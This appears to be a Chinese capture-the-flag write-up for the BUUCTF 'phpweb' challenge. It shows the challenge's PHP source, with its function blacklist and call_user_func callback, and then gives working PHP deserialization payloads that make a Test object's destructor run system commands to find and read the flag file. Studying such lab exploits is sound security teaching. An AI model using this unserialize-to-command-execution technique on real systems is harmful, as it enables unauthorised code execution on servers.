BUUCTF--[网鼎杯 2020 朱雀组]phpweb

流程

打开靶场,可以看到以下内容,并且这个页面隔几秒就要刷新一次

查看页面源代码,没有发现什么隐藏信息

我们用bp抓包看看

我们可以知道这个页面是由post方式传递核心参数,并且我们发现一个重要内容

func=date&p=Y-m-d h:i:s a

而这个就是他为什么隔几秒就要刷新的原因,也是我们唯一的可见功能

func=date :告诉后端调用 PHP 内置的 date() 函数

p=Y-m-d h:i:s a :传给 date() 函数的参数,定义了时间的输出格式

func:传递要执行的 PHP 函数名

p:传递给该函数的参数

后端核心逻辑:通过call_user_func($func, $p)执行用户传入的函数,这是漏洞的核心入口。

我们将包发到Repeater进一步测试

我们直接尝试func=system&p=ls

可以看到被拦截了,说明后端存在过滤我们要找一个未被禁用的、且能读取文件内容的函数

我们尝试file_get_contents读取 index.php 源码

func=file_get_contents&p=index.php

得到源码

php 复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

要点:

严格的黑名单过滤 :主逻辑中,用户传入的func会被转为小写,再匹配禁用函数列表,几乎所有直接的命令执行、代码执行、回调函数都被封禁,包括systemcall_user_func

危险的回调执行gettime函数中直接使用call_user_func($func, $p)执行函数,无任何过滤

反序列化利用入口Test类的__destruct()析构函数,会在对象销毁时自动调用gettime($this->func, $this->p),且这里的 func 参数不会经过主逻辑的黑名单过滤,这是本题的核心突破点

未被禁用的关键函数unserialize反序列化函数不在黑名单中,可作为触发析构函数的入口

反序列化漏洞利用

漏洞原理

当我们传入func=unserialize&p=Test类的序列化字符串时,后端会执行unserialize($p),生成一个 Test 类的对象。当该对象执行完毕被销毁时,会自动触发__destruct()析构函数,执行我们在对象中预设的$this->func$this->p,且该过程不会经过主逻辑的黑名单检测,从而执行被封禁的system等命令执行函数。

步骤 1:构造序列化 Payload

我们需要构造一个 Test 类的实例,给func赋值为systemp赋值为要执行的系统命令,然后生成序列化字符串。PHP 序列化生成代码:

php 复制代码
<?php
class Test {
    public $func = "system";
    public $p = "ls /";
}
echo serialize(new Test());
?>

结果:

php 复制代码
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}

步骤 2:执行命令,查找 flag 路径

将序列化结果作为 p 参数的值,func 参数设为 unserialize,构造 POST 请求:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

可发现 flag 位于/tmp/flagoefiu4r93

步骤 3:读取 flag

修改命令为 cat 读取 flag 文件,最终 Payload:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

执行后,Repeater会直接返回 flag 内容。

由此的到最终flag

相关推荐
其实防守也摸鱼12 小时前
VS code怎么使用 Conda 安装预编译包
开发语言·网络·c++·vscode·安全·web安全·conda
Wyc7240912 小时前
信息安全与多媒体基础知识
网络·安全·web安全
晓梦林15 小时前
Qingmei靶场学习笔记
笔记·学习·安全·web安全
晓梦林16 小时前
Commit靶场学习笔记
笔记·学习·安全·web安全
AC赳赳老秦17 小时前
数据安全合规:OpenClaw 敏感信息脱敏、操作日志审计、权限精细化管控方案,符合等保要求
网络·数据库·python·安全·web安全·oracle·openclaw
openKylin18 小时前
紧急安全通告|Linux内核Dirty Frag漏洞(CVE-2026-43284、CVE-2026-43500)
linux·安全·web安全
晓梦林18 小时前
Fuzzz靶场学习笔记
笔记·学习·安全·web安全
深邃-18 小时前
【Web安全】-计算机网络协议(1):IP协议详解,HTTP协议介绍
linux·tcp/ip·计算机网络·安全·web安全·http·网络安全
录大大i18 小时前
javaWeb中使用AES256+RSA网络数据加密
java·网络·网络安全
不灭锦鲤19 小时前
网络安全学习第105天
学习·安全·web安全